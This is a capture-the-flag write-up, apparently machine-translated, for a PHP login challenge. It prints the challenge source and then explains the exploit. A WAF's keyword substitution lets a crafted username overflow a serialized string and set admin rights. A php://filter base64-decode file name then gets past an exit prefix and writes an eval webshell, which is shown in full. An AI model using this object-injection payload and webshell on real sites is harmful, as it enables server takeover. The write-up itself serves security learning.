A total of 3106 characters, expected to take 8 minutes to complete reading.
Title
Escape!
Xiao Li wrote a login website, and he added a waf because he was not at ease. however, this waf not only did not make the website safer but also gave hackers a chance.
At the same time gave the source code:
- waf.php
<?php
function waf($c)
{$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
foreach($lists as $list){$c=str_replace($list,"error",$c);
}
#echo $c;
return $c;
}
- login.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];
$SQL=new Database();
function login($db,$username,$password)
{$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);
if(empty($data)){die("<script>alert(' 用户不存在 ')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['password']!==md5($password)){die("<script>alert(' 密码错误 ')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['username']==='admin') {$user = new User($username, true);
}
else{$user = new User($username, false);
}
return $user;
}
function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {$signature = hash_hmac('sha256', $serializedData, $secretKey);
$token = base64_encode($serializedData . '|' . $signature);
setcookie($cookieName, $token, time() + 3600, "/"); // 设置有效期为 1 小时
}
$User=login($SQL,$username,$password);
$User_ser=waf(serialize($User));
setSignedCookie($User_ser);
header("Location: dashboard.php");
?>
- dashboard.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
// 获取 Cookie 内容
if (isset($_COOKIE[$cookieName])) {$token = $_COOKIE[$cookieName];
// 解码并分割数据和签名
$decodedToken = base64_decode($token);
list($serializedData, $providedSignature) = explode('|', $decodedToken);
// 重新计算签名
$calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);
// 比较签名是否一致
if ($calculatedSignature === $providedSignature) {
// 签名验证通过,返回序列化的数据
return $serializedData; // 反序列化数据
} else {
// 签名验证失败
return false;
}
}
return false; // 如果没有 Cookie
}
// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
#echo $userData;
$user=unserialize($userData);
#var_dump($user);
if($user->isadmin){$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']) {
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
}
}
else{$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']||$_POST['filename']){echo "<h1> 权限不足,写入失败 <h1>";}
}
} else {echo 'token 验证失败 ';}
Ideas
Open the page and jump login.php
Login is required. The user name and password entered are not filtered. See Line 38:
$User=login($SQL,$username,$password);
$User_ser=waf(serialize($User));
setSignedCookie($User_ser);
Here is the first line Serialization Again WAF of. see againwaf.php
will replace some keywordserror
. For exampleflag
Replaceerror
, and the length of the string read after serialization remains the same, then there will be a string overflow vulnerability here.
Construct the user name flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}
. due to string overflow, then the result after deserializationisadmin
Just 1
successfully entered.dashboard.php
.
dashboard.php
Existence inside file_put_contents
This dangerous function, easy to execute any command. But in 40 lines:
if($_POST['txt']) {
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
}
The input here will be preceded <?php exit; ?>
, then the code we entered hasn't been executed yetexit
You can use? base64 coding to bypass.
The input file name isphp://filter/write=convert.base64-decode/resource=shell.php
, the file content is<?php eval($_POST['a']);?>
, but we want to enter the encodedaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
This was successfully bypassed.
Finally directly POST Content cat /flag
You can.